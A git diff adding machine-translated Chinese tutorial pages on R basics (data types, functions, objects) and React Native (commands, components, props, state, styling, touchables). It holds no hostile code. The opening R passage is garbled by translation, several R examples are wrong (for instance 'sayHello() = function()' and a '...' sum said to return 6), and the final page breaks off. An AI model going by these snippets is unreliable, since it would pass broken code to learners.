+    > m < - x> y＃用于检查，x是否大于y？ n < - x <y＃用于检查，x是否小于y？ 米 \[1\]错误 ñ \[1\]是的 类（M） \[1\]“逻辑” class（NA）#NA是另一个逻辑值：'Not Available'/ Missing Values \[1\]“逻辑”
+    
+3.  字符（串）
+    
+    > a < - “1”; b < - “2.5” A; B \[1\]“1” \[1\]“2.5” A + B a + b中的错误：二元运算符的非数字参数 （A）类 \[1\]“人物” 类（as.numeric（a））的 \[1\]“数字” 类（as.character（X）） \[1\]“人物”
+    
+
+## 向量
+
+它是相同基本类型的数据元素序列。例如：
+```
+> o <- c(1,2,5.3,6,-2,4)                                 # Numeric vector 
+ > p <- c("one","two","three","four","five","six")        # Character vector 
+ > q <- c(TRUE,TRUE,FALSE,TRUE,FALSE,TRUE)                # Logical vector 
+ > o;p;q 
+ [1]  1.0  2.0  5.3  6.0 -2.0  4.0 
+ [1] "one"   "two"   "three" "four"  "five"  "six" 
+ [1]  TRUE  TRUE FALSE  TRUE FALSE 
+```
+
+## 矩阵
+
+它是一个二维矩形数据集。矩阵中的分量也必须与矢量具有相同的基本类型。例如：
+```
+> m = matrix( c('a','a','b','c','b','a'), nrow = 2, ncol = 3, byrow = TRUE) 
+ > m 
+ >[,1] [,2] [,3] 
+ [1,] "a"  "a"  "b" 
+ [2,] "c"  "b"  "a" 
+```
+
+## 数据框架
+
+它比矩阵更通用，因为不同的列可以具有不同的基本数据类型。例如：
+```
+> d <- c(1,2,3,4) 
+ > e <- c("red", "white", "red", NA) 
+ > f <- c(TRUE,TRUE,TRUE,FALSE) 
+ > mydata <- data.frame(d,e,f) 
+ > names(mydata) <- c("ID","Color","Passed") 
+ > mydata 
+ 
+   ID Color Passed 
+ 1  1   red   TRUE 
+ 2  2 white   TRUE 
+ 3  3   red   TRUE 
+ 4  4  <NA>  FALSE 
+```
+
+## 清单
+
+它是一个R对象，它可以在其中包含许多不同类型的元素，如向量，函数甚至其中的另一个列表。例如：
+```
+> list1 <- list(c(2,5,3),21.3,sin) 
+ > list1 
+ [[1]] 
+ [1] 2 5 3 
+ [[2]] 
+ [1] 21.3 
+ [[3]] 
+ function (x)  .Primitive("sin") 
+```
+
+## 参考：
+
+[官方文件](https://cran.r-project.org/manuals.html) [R博主的R中的数据类型](https://www.r-bloggers.com/classes-and-objects-in-r/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/r/functions/index.md b/client/src/guide/chinese/r/functions/index.md
new file mode 100644
index 0000000000..efd0c1275b
--- /dev/null
+++ b/client/src/guide/chinese/r/functions/index.md
@@ -0,0 +1,179 @@
+---
+title: Functions in R
+localeTitle: R中的功能
+---
+函数允许您定义可在程序中多次执行的可重用代码块。
+
+函数可以重复命名和调用，也可以匿名运行（类似于python中的lambda函数）。
+
+充分了解R功能需要了解环境。 环境只是管理对象的一种方式。实际环境的一个示例是您可以使用冗余变量 函数中的名称，如果较大的运行时已具有相同的变量，则不会受到影响。另外，如果一个 函数调用函数中未定义的变量，它将检查该变量的更高级别环境。
+
+### 句法
+
+在R中，函数定义具有以下特征：
+
+1.  关键字`function`
+2.  一个功能名称
+3.  输入参数（可选）
+4.  一些要执行的代码块
+5.  返回语句（可选）
+
+```{r}
+# a function with no parameters or returned values 
+ sayHello() = function(){ 
+  "Hello!" 
+ } 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ helloWithName = function(name){ 
+  paste0("Hello, ", name, "!") 
+ } 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello, Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ multiply = function(val1, val2){ 
+  val1 * val2 
+ } 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+```
+
+函数是代码块，只需调用函数即可重用。这使得简单，重复的代码重用成为可能，而无需显式重写代码段。这使代码更易读，使调试更容易，并限制输入错误。
+
+R中的`function`使用`function`关键字以及括号内的函数名和函数参数创建。
+
+函数可以使用`return()`函数返回一个值，通常用于强制提前终止带有返回值的函数。 或者，该函数将返回最终打印值。
+
+```{r}
+# return a value explicitly or simply by printing 
+ sum = function(a, b){ 
+  c = a + b 
+  return(c) 
+ } 
+ 
+ sum = function(a, b){ 
+  a + b 
+ } 
+ 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+```
+
+您还可以定义参数的默认值，当函数调用期间未指定变量时，R将使用这些值。
+
+```{r}
+sum = function(a, b = 3){ 
+  a + b 
+ } 
+ 
+ result = sum(a = 1) 
+ # result = 4 
+```
+
+您还可以使用参数名称按所需顺序传递参数。
+
+```{r}
+result = sum(b=2, a=2) 
+ # result = 4 
+```
+
+R还可以使用'...'接受其他可选参数
+
+```{r}
+sum = function(a, b, ...){ 
+  a + b + ... 
+ } 
+ 
+ sum(1, 2, 3) #returns 6 
+```
+
+功能也可以匿名运行。这些与'apply'系列函数结合使用非常有用。
+
+```{r}
+# loop through 1, 2, 3 - add 1 to each 
+ sapply(1:3, 
+       function(i){ 
+         i + 1 
+         }) 
+```
+
+### 笔记
+
+*   如果函数定义包含未指定缺省值的参数，则必须包含这些值的值。
+    
+    ```{r}
+    sum = function(a, b = 3){ 
+     a + b 
+     } 
+     
+     sum(b = 2) # Error in sum(b = 2) : argument "a" is missing, with no default 
+    
+    ```
+    
+*   函数中定义的变量仅存在于该函数的范围内，但如果未指定变量，则将检查更大的环境
+    
+    ```{r}
+    double = function(a){ 
+     a * 2 
+     } 
+     
+     double(x)  # Error in double(x) : object 'x' not found 
+     
+     
+     double = function(){ 
+     a * 2 
+     } 
+     
+     a = 3 
+     double() # 6 
+    
+    ```
+    
+
+## R中的内置函数
+
+*   R带有许多功能，可用于执行随机等复杂任务 采样。
+    
+*   例如，您可以使用`round()`对数字进行`round()` ，或者计算 它与`factorial()`的`factorial()` 。
+    
+
+```r
+> round(4.147) 
+ [1] 4 
+ > factorial(3) 
+ [1] 6 
+ > round(mean(1:6)) 
+ [1] 4 
+```
+
+*   传递给函数的数据称为函数的参数。
+    
+*   您可以使用R的`sample()`函数模拟一卷模具。 `sample()`函数有两个参数：一个名为x的向量和一个名为size的数字。例如：
+    
+
+```r
+> sample(x = 1:4, size = 2) 
+ [] 4 2 
+ > sample(x = die, size = 1) 
+ [] 3 
+ >dice <- sample(die, size = 2, replace = TRUE) 
+ >dice 
+ [1] 2 4 
+ >sum(dice) 
+ [1] 6 
+```
+
+*   如果您不确定要将哪个名称用于某个函数，则可以查找该函数 与args的争论。
+
+```r
+> args(round) 
+ [1] function(x, digits=0) 
+```
+
+## 资源
+
+[官方文件](https://cran.r-project.org/manuals.html) [快速-R](https://www.statmethods.net/management/functions.html) [CRAN](https://cran.r-project.org/doc/manuals/r-release/R-lang.html#Functions) [高级R：功能](http://adv-r.had.co.nz/Functions.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/r/index.md b/client/src/guide/chinese/r/index.md
new file mode 100644
index 0000000000..e19c9feb28
--- /dev/null
+++ b/client/src/guide/chinese/r/index.md
@@ -0,0 +1,43 @@
+---
+title: R
+localeTitle: [R
+---
+## 什么是R？
+
+R是用于统计计算和图形的开源编程语言和软件环境。它是数据科学家和统计学家都使用的主要语言之一。它得到了R Foundation for Statistical Computing和大量开源开发人员的支持。由于R使用命令行界面，对于习惯使用诸如SPSS和SAS之类的GUI聚焦程序的一些人来说可能存在陡峭的学习曲线，因此对诸如RStudio的R的扩展可能是非常有益的。由于R是一个开源程序并且可以免费获得，因此学术界可以获得很大的吸引力，因为他们可以通过与各个学院或大学的联系来管理统计程序。
+
+## 安装
+
+您需要开始使用R的第一件事是根据您的操作系统从其[官方站点](https://www.r-project.org/)下载它。 现在将其安装在您的计算机上。有关安装的帮助，请参阅下面的参考部分。
+
+## 流行的R工具和包
+
+*   [RStudio](https://www.rstudio.com/products/rstudio/)是R的集成开发环境（IDE）。它包括一个控制台，支持直接代码执行的语法高亮编辑器，以及用于绘图，历史，调试和工作区管理的工具。
+*   [Comprehensive R Archive Network（CRAN）](https://cran.r-project.org/)是R工具和资源的主要来源。
+*   [Tidyverse](https://www.tidyverse.org/)是为数据科学设计的R包的集合，如ggplot2，dplyr，readr，tidyr，purr，tibble。
+*   [data.table](https://github.com/Rdatatable/data.table/wiki)是基础`data.frame`一个实现，专注于改进性能和简洁，灵活的语法。
+*   用于在R中构建仪表板样式Web应用程序的[闪亮](https://shiny.rstudio.com/)框架 \*
+
+## 在哪里免费学习R.
+
+*   [R Studio](https://www.rstudio.com/online-learning/)
+    
+*   [代码学校](http://tryr.codeschool.com/)
+    
+*   [Coursera-允许免费审核课程，但支付认证。](https://www.coursera.org/learn/r-programming)
+    
+*   [DataCamp - 允许免费完成介绍部分。](https://www.datacamp.com)
+    
+*   [R for Data Science-是一本可以免费在线阅读的书。](http://r4ds.had.co.nz/)
+    
+*   [edX - 允许免费审核课程，但支付认证。](https://www.edx.org/learn/r-programming)
+    
+*   [高级R](https://adv-r.hadley.nz/)
+    
+*   [RSeek](http://rseek.org/)
+    
+    ## 参考
+    
+*   [在Windows上安装R](http://youtu.be/Ohnk9hcxf9M)
+    
+*   [在Mac上安装R](https://youtu.be/uxuuWXU-7UQ)
\ No newline at end of file
diff --git a/client/src/guide/chinese/r/objects/index.md b/client/src/guide/chinese/r/objects/index.md
new file mode 100644
index 0000000000..76e593b565
--- /dev/null
+++ b/client/src/guide/chinese/r/objects/index.md
@@ -0,0 +1,40 @@
+---
+title: Objects in R
+localeTitle: R中的对象
+---
## 对象
+
+R允许通过将数据存储在R对象中来保存数据。
+
+## 什么是对象？
+
+它只是一个名称，可用于调用存储的数据。例如，您可以将数据保存到a或b之类的对象中。
+
+```r
+> a <- 5 
+ > a 
+ [1] 5 
+```
+
+## 如何在R中创建一个对象？
+
+1.  要创建R对象，请选择一个名称，然后使用小于号的符号`<` ， 后跟一个减号， `-` ，将数据保存到其中。这个组合看起来像一个 箭头， `<-` 。 R会制作一个物品，给它起你的名字，然后把它存放在里面 按照箭头。
+    
+2.  当你问R是什么时，它告诉你下一行。例如：
+    
+
+```r
+> die <- 1:6 
+ > die 
+ [1] 1 2 3 4 5 6 
+```
+
+3.  您可以在R中为几乎任何您想要的对象命名，但是有一些规则。第一， 名称不能以数字开头。 其次，名称不能使用某些特殊符号，如`^, !, $, @, +, -, /, or *` ：
+    
+4.  R也理解大小写（或区分大小写），因此name和Name将引用不同的对象。
+    
+5.  您可以使用函数`ls()`查看已使用的对象名称。
+    
+
+## 参考
+
+[官方文件](https://cran.r-project.org/manuals.html) [R博客中的R中的对象](https://www.r-bloggers.com/classes-and-objects-in-r/) [CRAN](https://cran.r-project.org/doc/manuals/r-release/R-lang.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/basic-commands/index.md b/client/src/guide/chinese/react-native/basic-commands/index.md
new file mode 100644
index 0000000000..892e41ec5e
--- /dev/null
+++ b/client/src/guide/chinese/react-native/basic-commands/index.md
@@ -0,0 +1,67 @@
+---
+title: Basic Commands
+localeTitle: 基本命令
+---
+## 基本命令
+
+在这里，您将找到使用React Native开始开发iOS和Android应用程序的基本命令列表。如果您尚未安装，强烈建议您按照[官方指南进行操作](https://facebook.github.io/react-native/docs/getting-started.html) 。
+
+### 开始一个新项目
+
+您可以通过不同的方式引导反应本机应用程序。您可以使用**Expo**或`create-react-native-app` （它们依次使用Expo-Cli）来启动您的新项目，但是通过这种方法，您可以更好地控制项目中发生的事情，并可以进行沟通，调整和编写拥有适用于iOS和Android移动平台的本机库的模块。
+```
+react-native init [PROJECT-NAME] 
+ cd [PROJECT-NAME] 
+```
+
+**在Android模拟器中运行应用**
+
+这个命令是自我解释的，因为它说它将启动Android模拟器并安装刚刚创建的应用程序。您需要位于项目的根目录中才能运行此命令。
+```
+react-native run-android 
+```
+
+**在iOS模拟器中运行应用程序**
+
+此命令与`react-native run-android`完全相同，但它不是Android模拟器，而是打开iPhone模拟器。
+```
+react-native run-ios 
+```
+
+**将依赖项链接到本机项目**
+
+某些库具有需要在为React Native生成的本机代码中链接的依赖项。如果在安装新库后某些操作无效，可能是因为您跳过此步骤。
+```
+react-native link [LIBRARY-NAME] 
+```
+
+**清除捆绑**
+
+如果某些内容未按预期运行，则可能需要使用此命令清除并创建新的bundle。
+```
+watchman watch-del-all 
+```
+
+**支持装饰者**
+
+JSX默认不支持装饰器，因此您需要安装**Babel**插件才能使其工作。
+```
+npm install babel-plugin-transform-decorators-legacy --save 
+ npm install babel-plugin-transform-class-properties --save 
+```
+
+### 导出APK以在设备上运行
+
+使用以下命令，您将拥有和未签名的apk，以便您可以安装并与同事共享以进行测试。请记住，这个apk还没有准备好上传到App Store或制作。 你会发现你的新鲜apk在_android / app / build / outputs / apk / app-debug.apk_
+
+**1.捆绑调试版本**
+```
+react-native bundle --dev false --platform android --entry-file index.android.js --bundle-output ./android/app/build/intermediates/assets/debug/index.android.bundle --assets-dest ./android/app/build/intermediates/res/merged/debug 
+```
+
+**2.创建调试版本**
+```
+cd android 
+ ./gradlew assembleDebug 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/functional-vs-class-components/index.md b/client/src/guide/chinese/react-native/functional-vs-class-components/index.md
new file mode 100644
index 0000000000..5befefaf4f
--- /dev/null
+++ b/client/src/guide/chinese/react-native/functional-vs-class-components/index.md
@@ -0,0 +1,39 @@
+---
+title: Functional vs Class Components
+localeTitle: 功能与类组件
+---
+## React Native - 功能与类组件
+
+在React Native中，构成应用程序的组件有两种主要类型 - _功能组件_和_类组件_ 。这些结构与用于Web的常规React应用程序中的结构相同。
+
+### 类组件
+
+类组件是JavaScript ES2015类，它们从React扩展一个名为`Component`的基类。
+
+```js
+class App extends Component { 
+    render () { 
+        return ( 
+            <Text>Hello World!</Text> 
+        ) 
+    } 
+ } 
+```
+
+这使得类`App`可以访问React生命周期方法，例如`render`以及来自父级的状态/道具功能。
+
+### 功能组件
+
+功能组件更简单。它们不管理自己的状态或访问React Native提供的生命周期方法。它们实际上是简单的旧JavaScript函数。它们也被称为无状态组件。
+
+```js
+const PageOne = () => { 
+    return ( 
+        <h1>Page One</h1> 
+    ); 
+ } 
+```
+
+### 概要
+
+类组件用作容器组件来处理状态管理和包装子组件。功能组件通常仅用于显示目的 - 这些组件从父组件调用函数来处理用户交互或状态更新。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/hello-world/index.md b/client/src/guide/chinese/react-native/hello-world/index.md
new file mode 100644
index 0000000000..ba7bb403bd
--- /dev/null
+++ b/client/src/guide/chinese/react-native/hello-world/index.md
@@ -0,0 +1,41 @@
+---
+title: Hello World
+localeTitle: 你好，世界
+---
+## 你好，世界
+
+在传统网页中，您可以轻松渲染`Hello World!`写一些像这样的HTML到屏幕：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Test Page</title> 
+  </head> 
+  <body> 
+    <p>Hello World!</p> 
+  </body> 
+ </html> 
+```
+
+在React Native中，没有DOM或浏览器，因此您必须从React Native提供的移动API向屏幕渲染内容。例如，您可以使用`<Text>` ;而不是像在Web上那样使用`<p>`标记作为文本的包装器。而不是`<div>`容器标签，您将使用`<View>` 。
+
+```js
+import React, { Component } from 'react'; 
+ import { AppRegistry, View, Text } from 'react-native'; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text> Hello World! </Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ AppRegistry.registerComponent('AwesomeProject', () => App); 
+```
+
+要将代码呈现到屏幕，而不是在浏览器中打开页面，您可以使用React Native提供的特殊`AppRegistry.registerComponent()`方法将应用程序呈现给移动设备。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/index.md b/client/src/guide/chinese/react-native/index.md
new file mode 100644
index 0000000000..2da99b1280
--- /dev/null
+++ b/client/src/guide/chinese/react-native/index.md
@@ -0,0 +1,39 @@
+---
+title: React Native
+localeTitle: 反应原生
+---
+## 反应原生
+
+React Native是一个跨平台框架，用于构建可在浏览器外部运行的移动应用程序 - 最常见的是iOS和Android应用程序
+
+它可用于在Windows设备，桌面操作系统和Apple TV应用程序上构建应用程序，但本指南仅涵盖其最常见的用途 - Android和iOS应用程序。
+
+**目录**
+
+*   [什么是React Native？](#what-is-react-native)
+*   [选择React Native的原因](#reasons-to-choose-react-native)
+*   [如何开始使用React Native](#how-to-get-started-with-react-native)
+
+### 什么是React Native
+
+React Native介于移动应用程序频谱上的本机应用程序和混合应用程序之间。您创建的用户界面完全是本机的，整体应用程序性能几乎与编写本机应用程序一样好。它还使您可以灵活地将Web视图（网页）或本机代码（适用于Android的Java / Kotlin，适用于iOS的Objective C / Swift）嵌入到您希望的应用程序中。
+
+它遵循与React相同的模式，其中视图（您在屏幕上看到的内容）是从JavaScript文件呈现的。不同之处在于它提供了自己的API来处理本机移动视图与Web上的DOM。如果您对此工作原理感到困惑，请遵循freeCodeCamp上的本指南，它将逐步介绍这些概念。
+
+### 选择React Native的原因
+
+1.  **代码可重用性** - 它使用一个在两个平台之间共享的代码。
+2.  **重用Web工具和技能** - 重用JavaScript知识，工具和实用程序，如`axios` ，Redux和其他不需要Web上的DOM的库。
+3.  **针对开发人员的工作效率进行了优化** - 具有热/实时模块重新加载和chrome开发工具等功能，可以开箱即用！
+4.  **性能** - 比Ionic和Cordova等混合应用程序框架**表现**更好，因为它不使用Web视图。
+5.  **公司支持** - 很多公司支持和贡献React Native，包括Walmart，Airbnb，Wix，当然还有Facebook。
+6.  **社区** - React Native拥有一个庞大（并且不断增长）的社区，其核心项目贡献者超过1500人，还有数千人为各种图书馆做出贡献。
+7.  **更好的用户体验** - React Native使用JavaScript代码从手机的操作系统中呈现本机组件。换句话说，应用程序的用户界面（UI）完全是原生的！
+8.  **跨平台** - 构建可在iOS和Android设备上运行的通用用户界面或平台特定移动应用程序的原型和节省时间的绝佳方式。
+
+### 如何开始使用React Native
+
+有两种快速简便的React Native入门方法。根据您的具体情况，您可以选择更好的选择。
+
+1.  [创建React Native App](https://www.npmjs.com/package/create-react-native-app) - 与Create React App类似，它使用终端运行起来。
+2.  [Expo](https://expo.io) - 最适合应用程序原型设计或者是早期阶段。使用Expo，您甚至可以使用snack.expo.io中的拖放功能创建一个快速应用程序。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/props/index.md b/client/src/guide/chinese/react-native/props/index.md
new file mode 100644
index 0000000000..edce92ec94
--- /dev/null
+++ b/client/src/guide/chinese/react-native/props/index.md
@@ -0,0 +1,68 @@
+---
+title: Props
+localeTitle: 道具
+---
+## React Native - 道具
+
+术语props是“属性”的缩写，表示从一个组件传递到另一个组件的某种类型的数据。道具总是从父组件向下流向子组件。
+
+在React中，子组件可以通过props访问父级的信息：
+
+```jsx
+// the child Header component receives the text prop and can access it via this.props.text 
+ class Header extends Component { 
+  render () { 
+    return ( 
+      <Text>{this.props.text}</Text> 
+    ) 
+  } 
+ } 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Header text="Welcome!" /> 
+    ); 
+  } 
+ } 
+```
+
+这在功能组件中的工作方式也相同：
+
+```jsx
+// in functional components, props will be received as a parameter 'props' 
+ const Header = (props) => { 
+  return ( 
+    <Text>{props.title}</Text> 
+  ); 
+ }; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+    <Header text="Welcome!" /> 
+      </View> 
+    ); 
+  } 
+ } 
+```
+
+您导入的其他库还可以访问组件中的其他属性。以下是来自[react-native-elements](https://github.com/react-native-training/react-native-elements)库的示例。
+
+```jsx
+import { Button } from 'react-native-elements'; 
+ 
+ // here 'buttonStyle' and 'title' are props passed into the Button component 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Button 
+    buttonStyle={{backgroundColor: 'red', borderRadius: 10}} 
+    title={`Submit`} 
+      /> 
+    ); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/screen-dimensions/index.md b/client/src/guide/chinese/react-native/screen-dimensions/index.md
new file mode 100644
index 0000000000..41ab0c8e38
--- /dev/null
+++ b/client/src/guide/chinese/react-native/screen-dimensions/index.md
@@ -0,0 +1,26 @@
+---
+title: Screen Dimensions
+localeTitle: 屏幕尺寸
+---
+## React Native - 屏幕尺寸
+
+React Native使用每英寸点数（DPI）来测量用户界面（UI）的大小和UI上显示的任何内容。这种类型的测量允许应用程序在各种屏幕尺寸和像素密度下看起来均匀。
+
+对于标准用例，可以开发应用程序而无需知道用户设备的细节（例如像素密度），因为UI元素将自动缩放。当需要时，有`PixelRatio` API，例如`PixelRatio`用于查找用户设备的像素密度。
+
+为了获得用户设备的窗口或屏幕高度/宽度，React Native有一个名为`Dimensions`的API。
+
+```js
+import { Dimensions } from 'react-native'; 
+```
+
+以下是`Dimensions` API提供的方法：
+
+```js
+Dimensions.get('window').height; 
+ Dimensions.get('window').width; 
+ Dimensions.get('screen').height; 
+ Dimensions.get('screen').width; 
+```
+
+**注意：过去使用Dimensions API存在一些已知问题，例如在用户旋转设备时未返回正确的信息。在部署应用程序之前，最好确保在实际设备上进行测试。**
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/state/index.md b/client/src/guide/chinese/react-native/state/index.md
new file mode 100644
index 0000000000..b155dc26c8
--- /dev/null
+++ b/client/src/guide/chinese/react-native/state/index.md
@@ -0,0 +1,76 @@
+---
+title: Component State
+localeTitle: 组件状态
+---
+## 组件状态
+
+在`Class`组件中，有一种方法可以存储和管理React Native内置的状态。
+
+```javascript
+class App extends Component { 
+  constructor () { 
+    super(); 
+    this.state = { 
+      counter: 0 
+    }; 
+  } 
+  incrementCount () { 
+    this.setState({ 
+      counter: this.state.counter + 1 
+    }); 
+  } 
+  decrementCount () { 
+    this.setState({ 
+      counter: this.state.counter - 1 
+    }); 
+  } 
+  render () { 
+    return ( 
+      <View> 
+        <Text>Count: {this.state.counter}</Text> 
+        <Button onPress={this.decrementCount.bind(this)}>-</Button> 
+        <Button onPress={this.incrementCount.bind(this)}>+</Button> 
+      </View> 
+    ); 
+  } 
+ } 
+```
+
+State类似于props，但它是私有的并且完全由组件控制。这里， `constructor()`方法用`super();`调用父类的构造函数`super();` - **`Component`**是`App`的父类，因为我们使用的是`extends`关键字。 `constructor()`方法还初始化组件的状态对象：
+```
+this.state = { 
+  counter: 0 
+ }; 
+```
+
+状态可以显示在组件中：
+
+```js
+{this.state.counter} 
+```
+
+或通过致电更新：
+
+```js
+this.setState({}); 
+```
+
+**注意：**除了在组件的`constructor()`方法中初始创建之外，您不应该使用`this.state =`直接修改组件的状态。您必须使用`this.setState` ，可以在上面的`incrementCount`和`decrementCount`函数中看到。
+
+通过调用传递给`onPress`处理程序的函数来增加和减少计数，就像在Web上调用JavaScript中的单击处理程序一样。
+
+_ASIDE：在第一个例子中， `<Button>`是一个自定义组件;它是来自React Native API的`<TouchableOpacity>`和`<Text>`的组合：_
+
+```js
+const Button = ({ onPress, children, buttonProps, textProps }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={[buttonStyle, buttonProps]}> 
+      <Text style={[textStyle, textProps]}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/styling/index.md b/client/src/guide/chinese/react-native/styling/index.md
new file mode 100644
index 0000000000..cc9a348dbb
--- /dev/null
+++ b/client/src/guide/chinese/react-native/styling/index.md
@@ -0,0 +1,118 @@
+---
+title: Styling
+localeTitle: 造型
+---
+## React Native - 造型
+
+React Native提供了一个用于创建样式表和样式化组件的API： [StyleSheet](https://facebook.github.io/react-native/docs/stylesheet) 。
+
+```jsx
+import React, { Component } from 'react'; 
+ import { StyleSheet, View, Text } from 'react-native'; 
+ 
+ export default class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text style={styles.header}>I am a header!</Text> 
+        <Text style={styles.text}>I am some blue text.</Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ const styles = StyleSheet.create({ 
+  header: { 
+    fontSize: 20 
+  }, 
+  text: { 
+    color: 'blue' 
+  } 
+ }); 
+```
+
+虽然常规CSS样式表无效，但React Native的CSS超集与传统CSS非常相似。 StyleSheet中的许多CSS属性（例如`color` ， `height` ， `top` ， `right` ， `bottom` ， `left` ）都相同。任何具有连字符（例如`font-size` ， `background-color` ）的CSS属性都必须更改为camelCase（例如`fontSize` ， `backgroundColor` ）。
+
+StyleSheet中并不存在所有CSS属性。由于在移动设备上没有真正的悬停概念，因此React Native中不存在CSS悬停属性。相反，React Native提供了响应触摸事件的[Touchable组件](https://facebook.github.io/react-native/docs/handling-touches#touchables) 。
+
+样式也不像传统CSS那样继承。在大多数情况下，您必须声明每个组件的样式。
+
+### Flexbox布局
+
+React Native使用类似于web标准的[flexbox](https://facebook.github.io/react-native/docs/flexbox)实现。默认情况下，视图中的项目将设置为`display: flex` 。
+
+> 如果您不想使用flexbox，还可以通过`relative`或`absolute`定位来安排React Native组件。
+
+React Native中的`flexDirection: column`默认为`flexDirection: column` ，而不是`flex-direction: row` （web标准）。 `column`值垂直显示灵活项目，可以纵向移动设备。
+
+要了解有关flexbox的更多信息，请访问[此CSS-Tricks详细指南](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)以及[Flexbox Froggy](http://flexboxfroggy.com/)的游戏化学习方法。
+
+### 样式组件
+
+在包含组件的文件中包含大量样式并不总是易于维护。样式组件可以解决此问题。
+
+例如，Button组件可以在应用程序的多个位置使用。使用每个Button实例复制和粘贴样式对象效率很低。相反，创建一个可重用的样式Button组件：
+
+```jsx
+import React from 'react'; 
+ import { Text, TouchableOpacity } from 'react-native'; 
+ 
+ const Button = ({ onPress, children }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={buttonStyle}> 
+      <Text style={textStyle}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+ 
+ export default Button; 
+ 
+ const styles = { 
+  textStyle: { 
+    alignSelf: 'center', 
+    color: '#336633', 
+    fontSize: 16, 
+    fontWeight: '600', 
+    paddingTop: 10, 
+    paddingBottom: 10 
+  }, 
+  buttonStyle: { 
+    backgroundColor: '#fff', 
+    borderWidth: 1, 
+    borderColor: '#336633', 
+    paddingTop: 4, 
+    paddingBottom: 4, 
+    paddingRight: 25, 
+    paddingLeft: 25, 
+    marginTop: 10, 
+    width: 300 
+  } 
+ }; 
+```
+
+可以在应用程序中轻松导入和使用样式化Button组件，而无需重复声明样式对象：
+
+```jsx
+import React, { Component } from 'react'; 
+ import { TextInput, View } from 'react-native'; 
+ import Button from './styling/Button'; 
+ 
+ export default class Login extends Component { 
+  render() { 
+    return ( 
+        <View> 
+          <TextInput placeholder='Username or Email' /> 
+          <TextInput placeholder='Password' /> 
+          <Button>Log In</Button> 
+        </View> 
+    ); 
+  } 
+ } 
+```
+
+### 造型图书馆
+
+有一些流行的React Native样式库。其中一些提供类似于[Bootstrap的](../../bootstrap/index.md)功能，包括默认表单，按钮样式和页面布局选项。最受欢迎的库之一是[样式组件](https://github.com/styled-components/styled-components) 。您可以在npm和GitHub上找到许多其他人来自己尝试。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react-native/touchables/index.md b/client/src/guide/chinese/react-native/touchables/index.md
new file mode 100644
index 0000000000..fdfa802647
--- /dev/null
+++ b/client/src/guide/chinese/react-native/touchables/index.md
@@ -0,0 +1,48 @@
+---
+title: Touchables
+localeTitle: 可触摸
+---
+## React Native - Touchables
+
+移动设备的一些主要功能围绕用户触摸交互。移动应用程序如何处理和响应这些交互可以决定用户的体验。
+
+React Native附带一个`Button`组件，适用于许多标准`onPress`交互。默认情况下，它会通过更改不透明度来显示按钮被按下，从而为用户提供反馈。用法：
+
+```js
+<Button onPress={handlePress} title="Submit" /> 
+```
+
+对于更复杂的用例，React Native内置了API来处理名为`Touchables`新闻交互。
+```
+TouchableHighlight 
+ TouchableNativeFeedback 
+ TouchableOpacity 
+ TouchableWithoutFeedback 
+```
+
+这些可触摸组件中的每一个都可以设置样式并与库一起使用，例如内置的`Animated` ，允许您制作自己类型的自定义用户反馈。
+
+使用这些组件的一些示例：
+
+```js
+// with images 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Image 
+    style={styles.button} 
+    source={require('./logo.png')} 
+  /> 
+ </TouchableHighlight> 
+ 
+ // with text 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Text>Hello</Text> 
+ </TouchableHighlight> 
+```
+
+您也可以处理不同类型的按钮。默认情况下，按钮和触摸按钮配置为处理常规点击，但您也可以表示调用按住和保持交互的功能。
+
+```js
+<TouchableHighlight onPress={this.handlePress} onLongPress={this.handleLongPress}> 
+```
+
+要查看所有可用的道具以及这些组件的工作方式，您可以在[此处查看Touchables的JavaScript源代码](https://github.com/facebook/react-native/tree/master/Libraries/Components/Touchable) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/react/a-react-environment-using-a-remote-code-repository/index.md b/client/src/guide/chinese/react/a-react-environment-using-a-remote-code-repository/index.md
new file mode 100644
index 0000000000..9d9227c5ed
--- /dev/null
+++ b/client/src/guide/chinese/react/a-react-environment-using-a-remote-code-repository/index.md
@@ -0,0 +1,13 @@
+---
+title: A React Environment Using a Remote Code Repository
+localeTitle: 使用远程代码存储库的React环境
+---
+这是如何使用远程代码存储库创建非生产React环境。 我们将使用cdnjs.cloudflare.com 16.0.0 react，react-dom和babel-standalone 6.26.0 实现这一目标。 babel-polyfill用于较旧的浏览器兼容性。
+
+\`\`\`HTML
+
+  你好React
+
+ReactDOM.render( <h1>Hello React</h1>, document.getElementById('helloreact'));
+
